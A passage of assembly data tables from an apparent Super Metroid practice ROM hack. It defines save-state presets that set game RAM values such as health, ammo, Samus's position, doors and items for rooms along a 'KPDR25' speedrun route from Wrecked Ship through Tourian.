dw $0917, $0100 ; Layer 2 X position dw $09C2, $0143 ; Health dw $09CA, $0007 ; Supers dw $09CE, $0003 ; Pbs dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $02D8 ; Samus X dw $0AFA, $028B ; Samus Y dw $D8C0, $0174 ; Doors dw #$FFFF preset_kpdr25_wrecked_ship_gravity: dw #preset_kpdr25_wrecked_ship_pre_bowling ; Wrecked Ship: Pre Bowling dw $078D, $8B32 ; DDB dw $079B, $C98E ; MDB dw $07F3, $0030 ; Music Bank dw $07F5, $0003 ; Music Track dw $090F, $8000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $9000 ; Screen subpixel Y position dw $0915, $0200 ; Screen Y position in pixels dw $0919, $0200 ; Layer 2 Y position dw $09C2, $00EE ; Health dw $0A1C, $006A ; Samus position/state dw $0A1E, $0204 ; More position/state dw $0AF6, $0125 ; Samus X dw $0AFA, $02AB ; Samus Y dw #$FFFF preset_kpdr25_wrecked_ship_impulse_mockball: dw #preset_kpdr25_wrecked_ship_gravity ; Wrecked Ship: Gravity dw $078D, $A300 ; DDB dw $079B, $93FE ; MDB dw $07F3, $000C ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $0000 ; Screen subpixel X position dw $0911, $00E6 ; Screen X position in pixels dw $0913, $7400 ; Screen subpixel Y position dw $0915, $0447 ; Screen Y position in pixels dw $0917, $0073 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09A2, $3125 ; Equipped Items dw $09A4, $3125 ; Collected Items dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $0186 ; Samus X dw $0AFA, $04D2 ; Samus Y dw $D880, $00A0 ; Items dw #$FFFF preset_kpdr25_wrecked_ship_red_tower_elevator: dw #preset_kpdr25_wrecked_ship_impulse_mockball ; Wrecked Ship: Impulse Mockball dw $078D, $8A42 ; DDB dw $079B, $962A ; MDB dw $07F5, $0003 ; Music Track dw $090F, $9000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $3000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $09CE, $0004 ; Pbs dw $0A1C, $0007 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $007F ; Samus X dw $0AFA, $00AB ; Samus Y dw #$FFFF preset_kpdr25_maridia_hellway_return: dw #preset_kpdr25_wrecked_ship_red_tower_elevator ; Wrecked Ship: Red Tower Elevator dw $078D, $8B02 ; DDB dw $079B, $A322 ; MDB dw $07F3, $0012 ; Music Bank dw $07F5, $0005 ; Music Track dw $0915, $0500 ; Screen Y position in pixels dw $0919, $0500 ; Layer 2 Y position dw $09CA, $0008 ; Supers dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $0030 ; Samus X dw $0AFA, $058B ; Samus Y dw #$FFFF preset_kpdr25_maridia_bat_room_2: dw #preset_kpdr25_maridia_hellway_return ; Maridia: Hellway Return dw $078D, $907E ; DDB dw $079B, $A253 ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $091D ; Screen Y position in pixels dw $0919, $06D5 ; Layer 2 Y position dw $09C2, $00F3 ; Health dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $0060 ; Samus X dw $0AFA, $098B ; Samus Y dw #$FFFF preset_kpdr25_maridia_the_tube: dw #preset_kpdr25_maridia_bat_room_2 ; Maridia: Bat Room dw $078D, $9102 ; DDB dw $079B, $A408 ; MDB dw $090F, $D000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $7400 ; Screen subpixel Y position dw $0915, $0100 ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $00C0 ; Layer 2 Y position dw $09CA, $0009 ; Supers dw $0AF6, $01B9 ; Samus X dw $0AFA, $018B ; Samus Y dw #$FFFF preset_kpdr25_maridia_fish_tank: dw #preset_kpdr25_maridia_the_tube ; Maridia: The Tube dw $078D, $A330 ; DDB dw $079B, $CFC9 ; MDB dw $07F3, $001B ; Music Bank dw $07F5, $0006 ; Music Track dw $090F, $FFFF ; Screen subpixel X position dw $0911, $010C ; Screen X position in pixels dw $0913, $5400 ; Screen subpixel Y position dw $0915, $05F3 ; Screen Y position in pixels dw $0917, $00C9 ; Layer 2 X position dw $0919, $0476 ; Layer 2 Y position dw $09CE, $0003 ; Pbs dw $0A1C, $000B ; Samus position/state dw $0AF6, $0173 ; Samus X dw $0AFA, $068B ; Samus Y dw $D820, $0801 ; Events dw #$FFFF preset_kpdr25_maridia_crab_shaft: dw #preset_kpdr25_maridia_fish_tank ; Maridia: Fish Tank dw $078D, $A3F0 ; DDB dw $079B, $D0B9 ; MDB dw $090F, $A000 ; Screen subpixel X position dw $0911, $0500 ; Screen X position in pixels dw $0913, $9C01 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $03C0 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $00B8 ; Health dw $0A1C, $0011 ; Samus position/state dw $0AF6, $05DA ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr25_maridia_botwoon_hall: dw #preset_kpdr25_maridia_crab_shaft ; Maridia: Crab Shaft dw $078D, $A4C8 ; DDB dw $079B, $D5A7 ; MDB dw $07F5, $0005 ; Music Track dw $090F, $6000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $1800 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $09CA, $0008 ; Supers dw $09CE, $0002 ; Pbs dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $007A ; Samus X dw $0AFA, $006B ; Samus Y dw $D8C0, $8174 ; Doors dw #$FFFF preset_kpdr25_maridia_botwoon: dw #preset_kpdr25_maridia_botwoon_hall ; Maridia: Botwoon Hall dw $078D, $A72C ; DDB dw $079B, $D617 ; MDB dw $090F, $DFFF ; Screen subpixel X position dw $0911, $0300 ; Screen X position in pixels dw $0913, $DFFF ; Screen subpixel Y position dw $0915, $0014 ; Screen Y position in pixels dw $0917, $0240 ; Layer 2 X position dw $0919, $0014 ; Layer 2 Y position dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $03BC ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr25_maridia_halfie: dw #preset_kpdr25_maridia_botwoon ; Maridia: Botwoon dw $078D, $A918 ; DDB dw $079B, $D7E4 ; MDB dw $090F, $C000 ; Screen subpixel X position dw $0911, $000E ; Screen X position in pixels dw $0913, $E400 ; Screen subpixel Y position dw $0915, $001F ; Screen Y position in pixels dw $0917, $000A ; Layer 2 X position dw $0919, $001F ; Layer 2 Y position dw $09C2, $01F3 ; Health dw $09C4, $01F3 ; Max health dw $09C6, $0019 ; Missiles dw $09CA, $0002 ; Supers dw $0AF6, $00AD ; Samus X dw $0AFA, $009B ; Samus Y dw $D82C, $0002 ; Bosses dw $D882, $0100 ; Items dw #$FFFF preset_kpdr25_maridia_draygon: dw #preset_kpdr25_maridia_halfie ; Maridia: Halfie dw $078D, $A7F8 ; DDB dw $079B, $D78F ; MDB dw $090F, $1001 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $1000 ; Screen subpixel Y position dw $0915, $0200 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0180 ; Layer 2 Y position dw $09C2, $01BA ; Health dw $09CA, $0000 ; Supers dw $0A1C, $008A ; Samus position/state dw $0A1E, $1504 ; More position/state dw $0AF6, $0025 ; Samus X dw $0AFA, $028B ; Samus Y dw $D8C2, $0C00 ; Doors dw #$FFFF preset_kpdr25_maridia_post_space_jump: dw #preset_kpdr25_maridia_draygon ; Maridia: Draygon dw $078D, $A978 ; DDB dw $079B, $D9AA ; MDB dw $07F3, $0024 ; Music Bank dw $07F5, $0003 ; Music Track dw $090F, $3000 ; Screen subpixel X position dw $0913, $BC00 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09A2, $3325 ; Equipped Items dw $09A4, $3325 ; Collected Items dw $09C2, $0184 ; Health dw $09C6, $0006 ; Missiles dw $09CA, $0003 ; Supers dw $09CE, $0005 ; Pbs dw $0A1C, $0011 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $00C7 ; Samus X dw $0AFA, $008B ; Samus Y dw $D82C, $0003 ; Bosses dw $D882, $0500 ; Items dw $D8C2, $8C00 ; Doors dw #$FFFF preset_kpdr25_maridia_whomple_jump: dw #preset_kpdr25_maridia_post_space_jump ; Maridia: Post Space Jump dw $078D, $A96C ; DDB dw $079B, $D78F ; MDB dw $07F3, $001B ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $4000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0006 ; Screen Y position in pixels dw $0919, $0004 ; Layer 2 Y position dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $003F ; Samus X dw $D8C2, $CC00 ; Doors dw #$FFFF preset_kpdr25_maridia_cac_alley: dw #preset_kpdr25_maridia_whomple_jump ; Maridia: Whomple Jump dw $078D, $A7E0 ; DDB dw $079B, $D913 ; MDB dw $090F, $C000 ; Screen subpixel X position dw $0915, $011A ; Screen Y position in pixels dw $0919, $011A ; Layer 2 Y position dw $09C6, $0005 ; Missiles dw $0AF6, $002D ; Samus X dw $0AFA, $018B ; Samus Y dw $D8C2, $DC00 ; Doors dw #$FFFF preset_kpdr25_maridia_plasma_spark_room: dw #preset_kpdr25_maridia_cac_alley ; Maridia: Cac Alley dw $078D, $A93C ; DDB dw $079B, $D5EC ; MDB dw $090F, $8000 ; Screen subpixel X position dw $0913, $3C01 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09CA, $0006 ; Supers dw $0A1C, $0052 ; Samus position/state dw $0A1E, $0204 ; More position/state dw $0AF6, $0032 ; Samus X dw $0AFA, $0067 ; Samus Y dw #$FFFF preset_kpdr25_maridia_kassiuz_room: dw #preset_kpdr25_maridia_plasma_spark_room ; Maridia: Plasma Spark Room dw $078D, $A750 ; DDB dw $079B, $D340 ; MDB dw $090F, $6000 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $6C00 ; Screen subpixel Y position dw $0915, $00F4 ; Screen Y position in pixels dw $0917, $01C0 ; Layer 2 X position dw $0919, $00F4 ; Layer 2 Y position dw $09C6, $0007 ; Missiles dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $0292 ; Samus X dw $0AFA, $018B ; Samus Y dw $D8C2, $DC08 ; Doors dw #$FFFF preset_kpdr25_maridia_plasma_spark_revisit: dw #preset_kpdr25_maridia_kassiuz_room ; Maridia: Kassiuz Room dw $078D, $A540 ; DDB dw $079B, $D387 ; MDB dw $090F, $3001 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $031C ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0255 ; Layer 2 Y position dw $09A6, $100B ; Beams dw $09A8, $100F ; Beams dw $09C2, $01BB ; Health dw $09C6, $0009 ; Missiles dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $003E ; Samus X dw $0AFA, $038B ; Samus Y dw $D880, $80A0 ; Items dw $D8C2, $DC0A ; Doors dw #$FFFF preset_kpdr25_maridia_sand_hall: dw #preset_kpdr25_maridia_plasma_spark_revisit ; Maridia: Plasma Spark Revisit dw $078D, $A600 ; DDB dw $079B, $D48E ; MDB dw $090F, $C000 ; Screen subpixel X position dw $0913, $1400 ; Screen subpixel Y position dw $0915, $011D ; Screen Y position in pixels dw $0919, $00D5 ; Layer 2 Y position dw $09C2, $01C0 ; Health dw $09CA, $0005 ; Supers dw $0A1C, $000C ; Samus position/state dw $0AF6, $00A7 ; Samus X dw $0AFA, $018B ; Samus Y dw $D8C2, $DC1A ; Doors dw #$FFFF preset_kpdr25_lower_norfair_business_center_revisit: dw #preset_kpdr25_maridia_sand_hall ; Maridia: Sand Hall dw $078D, $9246 ; DDB dw $079B, $A7DE ; MDB dw $07F3, $0015 ; Music Bank dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0239 ; Screen Y position in pixels dw $0919, $01AA ; Layer 2 Y position dw $09C2, $01F3 ; Health dw $09CA, $0004 ; Supers dw $0A1C, $0025 ; Samus position/state dw $0A1E, $0E04 ; More position/state dw $0AF6, $0080 ; Samus X dw $0AFA, $02A9 ; Samus Y dw #$FFFF preset_kpdr25_lower_norfair_magdollite_tunnel: dw #preset_kpdr25_lower_norfair_business_center_revisit ; Lower Norfair: Business Center Revisit dw $078D, $9576 ; DDB dw $079B, $AEDF ; MDB dw $0915, $01EC ; Screen Y position in pixels dw $0919, $0171 ; Layer 2 Y position dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $006F ; Samus X dw $0AFA, $028B ; Samus Y dw #$FFFF preset_kpdr25_lower_norfair_ln_elevator: dw #preset_kpdr25_lower_norfair_magdollite_tunnel ; Lower Norfair: Magdollite Tunnel dw $078D, $96DE ; DDB dw $079B, $AF3F ; MDB dw $0913, $4800 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C2, $01F0 ; Health dw $09C6, $0008 ; Missiles dw $09CE, $0004 ; Pbs dw $0A1C, $0007 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $007B ; Samus X dw $0AFA, $008B ; Samus Y dw $D8BA, $01F1 ; Doors dw #$FFFF preset_kpdr25_lower_norfair_fast_pillars: dw #preset_kpdr25_lower_norfair_ln_elevator ; Lower Norfair: LN Elevator dw $078D, $96F6 ; DDB dw $079B, $B236 ; MDB dw $07F3, $0018 ; Music Bank dw $0911, $0700 ; Screen X position in pixels dw $0913, $9C00 ; Screen subpixel Y position dw $0915, $0200 ; Screen Y position in pixels dw $0917, $0540 ; Layer 2 X position dw $0919, $0301 ; Layer 2 Y position dw $0A1C, $000B ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $07D6 ; Samus X dw $0AFA, $028B ; Samus Y dw #$FFFF preset_kpdr25_lower_norfair_amphitheatre: dw #preset_kpdr25_lower_norfair_fast_pillars ; Lower Norfair: Fast Pillars dw $078D, $994E ; DDB dw $079B, $B4AD ; MDB dw $090F, $E000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $011D ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $00D5 ; Layer 2 Y position dw $09C2, $017B ; Health dw $09C6, $000A ; Missiles dw $0A1C, $0009 ; Samus position/state dw $0AF6, $00BE ; Samus X dw $0AFA, $018B ; Samus Y dw #$FFFF preset_kpdr25_lower_norfair_kihunter_stairs: dw #preset_kpdr25_lower_norfair_amphitheatre ; Lower Norfair: Amphitheatre dw $078D, $997E ; DDB dw $079B, $B4E5 ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $02A9 ; Screen X position in pixels dw $0915, $003F ; Screen Y position in pixels dw $0917, $01FE ; Layer 2 X position dw $0919, $002F ; Layer 2 Y position dw $0A1C, $0011 ; Samus position/state dw $0AF6, $0309 ; Samus X dw $0AFA, $00AF ; Samus Y dw #$FFFF preset_kpdr25_lower_norfair_metal_pirates: dw #preset_kpdr25_lower_norfair_kihunter_stairs ; Lower Norfair: Kihunter Stairs dw $078D, $99EA ; DDB dw $079B, $B5D5 ; MDB dw $090F, $4000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0915, $021F ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $0197 ; Layer 2 Y position dw $09C2, $0179 ; Health dw $09CA, $0003 ; Supers dw $09CE, $0001 ; Pbs dw $0A1C, $001C ; Samus position/state dw $0A1E, $0304 ; More position/state dw $0AF6, $013F ; Samus X dw $0AFA, $028B ; Samus Y dw $D8BA, $C1F1 ; Doors dw #$FFFF preset_kpdr25_lower_norfair_ridley: dw #preset_kpdr25_lower_norfair_metal_pirates ; Lower Norfair: Metal Pirates dw $078D, $995A ; DDB dw $079B, $B37A ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $5400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $01A5 ; Health dw $09CA, $0006 ; Supers dw $0A1C, $00D0 ; Samus position/state dw $0A1E, $1504 ; More position/state dw $0AF6, $0025 ; Samus X dw $0AFA, $009B ; Samus Y dw $D8BA, $D1F1 ; Doors dw $D8BC, $0001 ; Doors dw #$FFFF preset_kpdr25_lower_norfair_ridley_etank: dw #preset_kpdr25_lower_norfair_ridley ; Lower Norfair: Ridley dw $078D, $98B2 ; DDB dw $079B, $B698 ; MDB dw $07F3, $0024 ; Music Bank dw $07F5, $0003 ; Music Track dw $090F, $C000 ; Screen subpixel X position dw $0913, $B000 ; Screen subpixel Y position dw $0917, $0001 ; Layer 2 X position dw $09C2, $0257 ; Health dw $09C4, $0257 ; Max health dw $09C6, $000E ; Missiles dw $09CA, $0009 ; Supers dw $09CE, $0005 ; Pbs dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $00BF ; Samus X dw $0AFA, $00AB ; Samus Y dw $D82A, $0101 ; Bosses dw $D878, $401C ; Items dw $D8BA, $D9F1 ; Doors dw #$FFFF preset_kpdr25_lower_norfair_wasteland_revisit: dw #preset_kpdr25_lower_norfair_ridley_etank ; Lower Norfair: Ridley E-tank dw $078D, $9966 ; DDB dw $079B, $B62B ; MDB dw $07F3, $0018 ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $D000 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $5C01 ; Screen subpixel Y position dw $0917, $0180 ; Layer 2 X position dw $09C2, $0234 ; Health dw $0A1C, $0017 ; Samus position/state dw $0A1E, $0208 ; More position/state dw $0AF6, $02D8 ; Samus X dw $0AFA, $006C ; Samus Y dw $0B3F, $0002 ; Blue suit dw $D8BA, $DDF1 ; Doors dw #$FFFF preset_kpdr25_lower_norfair_kihunter_revisit: dw #preset_kpdr25_lower_norfair_wasteland_revisit ; Lower Norfair: Wasteland Revisit dw $078D, $9A3E ; DDB dw $079B, $B5D5 ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $0500 ; Screen X position in pixels dw $0913, $2800 ; Screen subpixel Y position dw $0917, $03C0 ; Layer 2 X position dw $09C2, $022D ; Health dw $09CE, $0004 ; Pbs dw $0A1C, $0089 ; Samus position/state dw $0A1E, $1508 ; More position/state dw $0AF6, $056B ; Samus X dw $0AFA, $006B ; Samus Y dw $0B3F, $0000 ; Blue suit dw #$FFFF preset_kpdr25_lower_norfair_fireflea_room: dw #preset_kpdr25_lower_norfair_kihunter_revisit ; Lower Norfair: Kihunter Revisit dw $078D, $9A26 ; DDB dw $079B, $B585 ; MDB dw $090F, $C180 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $B000 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $09C2, $01FB ; Health dw $09CE, $0003 ; Pbs dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $00AD ; Samus X dw $0AFA, $008B ; Samus Y dw #$FFFF preset_kpdr25_lower_norfair_three_musketeers: dw #preset_kpdr25_lower_norfair_fireflea_room ; Lower Norfair: Fireflea Room dw $078D, $9A92 ; DDB dw $079B, $B510 ; MDB dw $090F, $D000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0915, $001B ; Screen Y position in pixels dw $0919, $0014 ; Layer 2 Y position dw $09C2, $01EC ; Health dw $09C6, $000D ; Missiles dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $006A ; Samus X dw #$FFFF preset_kpdr25_golden_4_frog_speedway_2: dw #preset_kpdr25_lower_norfair_three_musketeers ; Lower Norfair: Three Musketeers dw $078D, $956A ; DDB dw $079B, $AF72 ; MDB dw $07F3, $0015 ; Music Bank dw $090F, $6000 ; Screen subpixel X position dw $0913, $8400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C2, $01BA ; Health dw $09C6, $000E ; Missiles dw $09CA, $000A ; Supers dw $09CE, $0002 ; Pbs dw $0A1C, $0010 ; Samus position/state dw $0AF6, $0087 ; Samus X dw #$FFFF preset_kpdr25_golden_4_maridia_tube_revisit: dw #preset_kpdr25_golden_4_frog_speedway_2 ; Golden 4: Frog Speedway dw $078D, $92EE ; DDB dw $079B, $A6A1 ; MDB dw $07F3, $0012 ; Music Bank dw $07F5, $0003 ; Music Track dw $090F, $5000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0A1C, $0025 ; Samus position/state dw $0A1E, $0E04 ; More position/state dw $0AF6, $0080 ; Samus X dw $0AFA, $0087 ; Samus Y dw #$FFFF preset_kpdr25_golden_4_red_fish_room: dw #preset_kpdr25_golden_4_maridia_tube_revisit ; Golden 4: Maridia Tube Revisit dw $078D, $A3F0 ; DDB dw $079B, $D0B9 ; MDB dw $07F3, $001B ; Music Bank dw $07F5, $0006 ; Music Track dw $090F, $A000 ; Screen subpixel X position dw $0911, $0207 ; Screen X position in pixels dw $0913, $4C00 ; Screen subpixel Y position dw $0915, $001C ; Screen Y position in pixels dw $0917, $0185 ; Layer 2 X position dw $0919, $0015 ; Layer 2 Y position dw $0A1C, $0055 ; Samus position/state dw $0A1E, $0208 ; More position/state dw $0AF6, $026F ; Samus X dw $0AFA, $00AB ; Samus Y dw #$FFFF preset_kpdr25_golden_4_premoat_revisit: dw #preset_kpdr25_golden_4_red_fish_room ; Golden 4: Red Fish Room dw $078D, $90BA ; DDB dw $079B, $962A ; MDB dw $07F3, $0012 ; Music Bank dw $07F5, $0003 ; Music Track dw $090F, $9000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09CA, $0009 ; Supers dw $0A1C, $0025 ; Samus position/state dw $0A1E, $0E04 ; More position/state dw $0AF6, $0080 ; Samus X dw $0AFA, $00A9 ; Samus Y dw #$FFFF preset_kpdr25_golden_4_ship_revisit: dw #preset_kpdr25_golden_4_premoat_revisit ; Golden 4: Pre-Moat Revisit dw $078D, $8AC6 ; DDB dw $079B, $91F8 ; MDB dw $07F3, $000C ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $0000 ; Screen subpixel X position dw $0911, $0575 ; Screen X position in pixels dw $0913, $2800 ; Screen subpixel Y position dw $0915, $0400 ; Screen Y position in pixels dw $0917, $02BA ; Layer 2 X position dw $09C6, $000D ; Missiles dw $0A1C, $0010 ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $0615 ; Samus X dw $0AFA, $04BB ; Samus Y dw $0B3F, $0104 ; Blue suit dw #$FFFF preset_kpdr25_golden_4_g4_elevator: dw #preset_kpdr25_golden_4_ship_revisit ; Golden 4: Ship Revisit dw $078D, $91F2 ; DDB dw $079B, $A66A ; MDB dw $07F3, $0009 ; Music Bank dw $07F5, $0006 ; Music Track dw $090F, $1000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $1000 ; Screen subpixel Y position dw $0915, $011F ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $09CA, $0008 ; Supers dw $0A1C, $0007 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $0077 ; Samus X dw $0AFA, $019B ; Samus Y dw $0B3F, $0000 ; Blue suit dw $D820, $0FC1 ; Events dw $D8B2, $6C01 ; Doors dw #$FFFF preset_kpdr25_tourian_metroids_1: dw #preset_kpdr25_golden_4_g4_elevator ; Golden 4: G4 Elevator dw $078D, $9222 ; DDB dw $079B, $DAAE ; MDB dw $07F3, $001E ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $2000 ; Screen subpixel X position dw $0913, $FFFF ; Screen subpixel Y position dw $0915, $0300 ; Screen Y position in pixels dw $0919, $0240 ; Layer 2 Y position dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $0039 ; Samus X dw $0AFA, $038B ; Samus Y dw $D90C, $0100 ; Map Stations dw #$FFFF preset_kpdr25_tourian_metroids_2: dw #preset_kpdr25_tourian_metroids_1 ; Tourian: Metroids 1 dw $078D, $A984 ; DDB dw $079B, $DAE1 ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $0034 ; Screen X position in pixels dw $0913, $D000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0027 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $01C5 ; Health dw $09C6, $000F ; Missiles dw $09CA, $0007 ; Supers dw $0A1C, $000C ; Samus position/state dw $0AF6, $00D4 ; Samus X dw $0AFA, $00AB ; Samus Y dw $0B3F, $0001 ; Blue suit dw $D822, $0021 ; Events dw #$FFFF preset_kpdr25_tourian_metroids_3: dw #preset_kpdr25_tourian_metroids_2 ; Tourian: Metroids 2 dw $078D, $A9B4 ; DDB dw $079B, $DB31 ; MDB dw $090F, $2000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $EFFF ; Screen subpixel Y position dw $0915, $0106 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $00C4 ; Layer 2 Y position dw $09C2, $0210 ; Health dw $09C6, $0015 ; Missiles dw $09CA, $0009 ; Supers dw $0A1C, $0009 ; Samus position/state dw $0A1E, $0108 ; More position/state dw $0AF6, $00CD ; Samus X dw $0AFA, $018B ; Samus Y dw $0B3F, $0000 ; Blue suit dw $D822, $0023 ; Events dw $D8C4, $0003 ; Doors dw #$FFFF preset_kpdr25_tourian_metroids_4: dw #preset_kpdr25_tourian_metroids_3 ; Tourian: Metroids 3 dw $078D, $A9CC ; DDB dw $079B, $DB7D ; MDB dw $090F, $6000 ; Screen subpixel X position dw $0911, $0500 ; Screen X position in pixels dw $0913, $9400 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $03C0 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0257 ; Health dw $09C6, $0019 ; Missiles dw $09CA, $0008 ; Supers dw $09CE, $0004 ; Pbs dw $0AF6, $05C7 ; Samus X dw $0AFA, $008B ; Samus Y dw $D822, $0027 ; Events dw $D8C4, $0007 ; Doors dw #$FFFF preset_kpdr25_tourian_baby_skip: dw #preset_kpdr25_tourian_metroids_4 ; Tourian: Metroids 4 dw $078D, $AA14 ; DDB dw $079B, $DC65 ; MDB dw $07F3, $0045 ; Music Bank dw $07F5, $0006 ; Music Track dw $090F, $F000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $FC00 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $09C2, $0239 ; Health dw $09CA, $000A ; Supers dw $09CE, $0005 ; Pbs dw $0A1C, $000A ; Samus position/state dw $0A1E, $0104 ; More position/state dw $0AF6, $01B6 ; Samus X dw $0AFA, $00AB ; Samus Y dw $D822, $002F ; Events dw $D8C4, $000F ; Doors dw #$FFFF preset_kpdr25_tourian_zeb_skip: dw #preset_kpdr25_tourian_baby_skip ; Tourian: Baby Skip dw $078D, $AAA4 ; DDB dw $079B, $DDF3 ; MDB dw $07F3, $001E ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $AFFF ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $021A ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0193 ; Layer 2 Y position dw $09CA, $0007 ; Supers dw $0AF6, $003E ; Samus X dw $0AFA, $028B ; Samus Y dw $D8C4, $03AF ; Doors dw #$FFFF preset_kpdr25_tourian_mother_brain_2: dw #preset_kpdr25_tourian_zeb_skip ; Tourian: Zeb Skip dw $078D, $AAC8 ; DDB dw $079B, $DD58 ; MDB dw $07F3, $0021 ; Music Bank dw $07F5, $0000 ; Music Track dw $090F, $79FF ; Screen subpixel X position dw $0915, $0000 ; Screen Y position in pixels dw $0919, $0000 ; Layer 2 Y position dw $09C2, $0176 ; Health dw $09C6, $0005 ; Missiles dw $09CA, $0000 ; Supers dw $0AF6, $00CF ; Samus X dw $0AFA, $009B ; Samus Y dw $D820, $0FC5 ; Events dw #$FFFF preset_kpdr25_tourian_mother_brain_3: dw #preset_kpdr25_tourian_mother_brain_2 ; Tourian: Mother Brain 2 dw $09A6, $1009 ; Beams dw $09C2, $018F ; Health dw $09C6, $0000 ; Missiles dw $09CE, $0000 ; Pbs dw $0A76, $8000 ; Hyper beam dw $D82C, $0203 ; Bosses dw #$FFFF preset_kpdr25_tourian_zebes_escape: dw #preset_kpdr25_tourian_mother_brain_3 ; Tourian: Mother Brain 3 dw $09A6, $1009 ; Beams dw $0A1C, $009B ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, 